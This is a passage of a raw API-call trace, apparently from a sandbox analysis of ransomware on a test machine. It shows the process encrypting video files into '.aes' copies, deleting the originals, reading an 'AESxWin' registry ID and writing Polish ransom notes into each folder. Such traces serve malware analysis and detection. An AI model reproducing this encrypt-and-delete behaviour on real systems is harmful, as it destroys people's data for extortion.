[0096.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0096.278] GetFileType (hFile=0x350) returned 0x1 [0096.278] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\ppcN9b5Q ExH-k00.avi.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\ppcN9b5Q ExH-k00.avi.aes", lpFilePart=0x0) returned 0x4b [0096.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0096.278] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\ppcN9b5Q ExH-k00.avi.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\ppcn9b5q exh-k00.avi.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0096.278] GetFileType (hFile=0x61c) returned 0x1 [0096.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0096.278] GetFileType (hFile=0x61c) returned 0x1 [0096.279] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0096.301] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0096.301] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0096.308] LocalFree (hMem=0x6ff3178) returned 0x0 [0096.308] GetAdaptersAddresses () returned 0x6f [0096.313] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0096.313] GetAdaptersAddresses () returned 0x0 [0096.318] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0096.324] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0096.324] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0096.333] LocalFree (hMem=0x1c8ab8) returned 0x0 [0096.333] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0096.339] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0096.339] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0096.346] LocalFree (hMem=0x1c8ab8) returned 0x0 [0096.346] LocalFree (hMem=0x7042020) returned 0x0 [0096.346] GetBestInterfaceEx (in: pDestAddr=0x289c86c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0096.441] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\ppcN9b5Q ExH-k00.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\ppcn9b5q exh-k00.avi")) returned 1 [0096.442] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4d [0096.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0096.442] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf365e200, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf365e200, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf365e200, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0096.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0096.442] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0096.489] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\zWeITqPQ 5L.mp4", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\zWeITqPQ 5L.mp4", lpFilePart=0x0) returned 0x42 [0096.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0096.489] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\zWeITqPQ 5L.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\zweitqpq 5l.mp4"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddf934e0, ftCreationTime.dwHighDateTime=0x1d2feb8, ftLastAccessTime.dwLowDateTime=0xb0b02290, ftLastAccessTime.dwHighDateTime=0x1d2ff77, ftLastWriteTime.dwLowDateTime=0xb0b02290, ftLastWriteTime.dwHighDateTime=0x1d2ff77, nFileSizeHigh=0x0, nFileSizeLow=0x13ed6)) returned 1 [0096.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0096.489] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\zWeITqPQ 5L.mp4", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\zWeITqPQ 5L.mp4", lpFilePart=0x0) returned 0x42 [0096.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0096.489] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\zWeITqPQ 5L.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\zweitqpq 5l.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x350 [0096.489] GetFileType (hFile=0x350) returned 0x1 [0096.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0096.489] GetFileType (hFile=0x350) returned 0x1 [0096.489] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\zWeITqPQ 5L.mp4.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\zWeITqPQ 5L.mp4.aes", lpFilePart=0x0) returned 0x46 [0096.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0096.489] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\zWeITqPQ 5L.mp4.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\zweitqpq 5l.mp4.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0096.490] GetFileType (hFile=0x61c) returned 0x1 [0096.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0096.490] GetFileType (hFile=0x61c) returned 0x1 [0096.490] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0096.498] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0096.498] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0096.505] LocalFree (hMem=0x6ff3178) returned 0x0 [0096.505] GetAdaptersAddresses () returned 0x6f [0096.510] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0096.510] GetAdaptersAddresses () returned 0x0 [0096.515] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0096.521] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0096.521] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0096.596] LocalFree (hMem=0x1c8ab8) returned 0x0 [0096.597] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0096.603] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0096.604] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0096.610] LocalFree (hMem=0x1c8ab8) returned 0x0 [0096.611] LocalFree (hMem=0x7042020) returned 0x0 [0096.611] GetBestInterfaceEx (in: pDestAddr=0x287f1fc*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0096.686] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\zWeITqPQ 5L.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\zweitqpq 5l.mp4")) returned 1 [0096.687] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4d [0096.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0096.687] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf365e200, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf365e200, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf365e200, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0096.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0096.687] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0096.714] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\4wDnaCEpKp.swf", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\4wDnaCEpKp.swf", lpFilePart=0x0) returned 0x3d [0096.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0096.715] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\4wDnaCEpKp.swf" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\4wdnacepkp.swf"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd248c280, ftCreationTime.dwHighDateTime=0x1d2fb68, ftLastAccessTime.dwLowDateTime=0xe972dde0, ftLastAccessTime.dwHighDateTime=0x1d2fa07, ftLastWriteTime.dwLowDateTime=0xe972dde0, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x11ef5)) returned 1 [0096.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0096.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\4wDnaCEpKp.swf", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\4wDnaCEpKp.swf", lpFilePart=0x0) returned 0x3d [0096.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0096.715] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\4wDnaCEpKp.swf" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\4wdnacepkp.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0096.715] GetFileType (hFile=0x61c) returned 0x1 [0096.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0096.715] GetFileType (hFile=0x61c) returned 0x1 [0096.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\4wDnaCEpKp.swf.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\4wDnaCEpKp.swf.aes", lpFilePart=0x0) returned 0x41 [0096.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0096.715] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\4wDnaCEpKp.swf.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\4wdnacepkp.swf.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0096.715] GetFileType (hFile=0x540) returned 0x1 [0096.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0096.715] GetFileType (hFile=0x540) returned 0x1 [0096.716] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0096.723] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0096.723] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0096.730] LocalFree (hMem=0x6ff3178) returned 0x0 [0096.731] GetAdaptersAddresses () returned 0x6f [0096.735] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0096.735] GetAdaptersAddresses () returned 0x0 [0096.740] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0096.747] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0096.747] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0096.756] LocalFree (hMem=0x1c8ab8) returned 0x0 [0096.756] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0096.763] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0096.763] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0096.769] LocalFree (hMem=0x1c8ab8) returned 0x0 [0096.769] LocalFree (hMem=0x7042020) returned 0x0 [0096.769] GetBestInterfaceEx (in: pDestAddr=0x28723ec*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0096.837] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\4wDnaCEpKp.swf" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\4wdnacepkp.swf")) returned 1 [0096.839] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x49 [0096.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0096.839] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0096.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0096.839] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x540) returned 0x0 [0096.839] RegQueryValueExW (in: hKey=0x540, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0096.839] RegQueryValueExW (in: hKey=0x540, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x284b264, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0096.839] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x49 [0096.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0096.839] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x35c [0096.840] GetFileType (hFile=0x35c) returned 0x1 [0096.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0096.840] GetFileType (hFile=0x35c) returned 0x1 [0096.840] WriteFile (in: hFile=0x35c, lpBuffer=0x285426c*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x285426c*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0096.840] CloseHandle (hObject=0x35c) returned 1 [0096.841] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0096.871] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\dew6BPRQzNyZf.mp4", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\dew6BPRQzNyZf.mp4", lpFilePart=0x0) returned 0x40 [0096.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0096.871] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\dew6BPRQzNyZf.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\dew6bprqznyzf.mp4"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a53c730, ftCreationTime.dwHighDateTime=0x1d2f8ff, ftLastAccessTime.dwLowDateTime=0xbbf06830, ftLastAccessTime.dwHighDateTime=0x1d3032e, ftLastWriteTime.dwLowDateTime=0xbbf06830, ftLastWriteTime.dwHighDateTime=0x1d3032e, nFileSizeHigh=0x0, nFileSizeLow=0x7e13)) returned 1 [0096.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0096.871] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\dew6BPRQzNyZf.mp4", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\dew6BPRQzNyZf.mp4", lpFilePart=0x0) returned 0x40 [0096.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0096.871] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\dew6BPRQzNyZf.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\dew6bprqznyzf.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0096.872] GetFileType (hFile=0x61c) returned 0x1 [0096.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0096.872] GetFileType (hFile=0x61c) returned 0x1 [0096.872] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\dew6BPRQzNyZf.mp4.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\dew6BPRQzNyZf.mp4.aes", lpFilePart=0x0) returned 0x44 [0096.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0096.872] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\dew6BPRQzNyZf.mp4.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\dew6bprqznyzf.mp4.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x35c [0096.872] GetFileType (hFile=0x35c) returned 0x1 [0096.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0096.872] GetFileType (hFile=0x35c) returned 0x1 [0096.872] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0096.880] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0096.880] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0096.888] LocalFree (hMem=0x6ff3178) returned 0x0 [0096.888] GetAdaptersAddresses () returned 0x6f [0096.892] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0096.892] GetAdaptersAddresses () returned 0x0 [0096.897] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0096.903] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0096.903] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0096.913] LocalFree (hMem=0x1c8ab8) returned 0x0 [0096.913] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0096.920] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0096.920] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0096.926] LocalFree (hMem=0x1c8ab8) returned 0x0 [0096.926] LocalFree (hMem=0x7042020) returned 0x0 [0096.927] GetBestInterfaceEx (in: pDestAddr=0x288f220*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0097.009] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\dew6BPRQzNyZf.mp4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\r-_fu8vdku2twrl\\dew6bprqznyzf.mp4")) returned 1 [0097.010] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\r-_fU8vdku2TwrL\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: 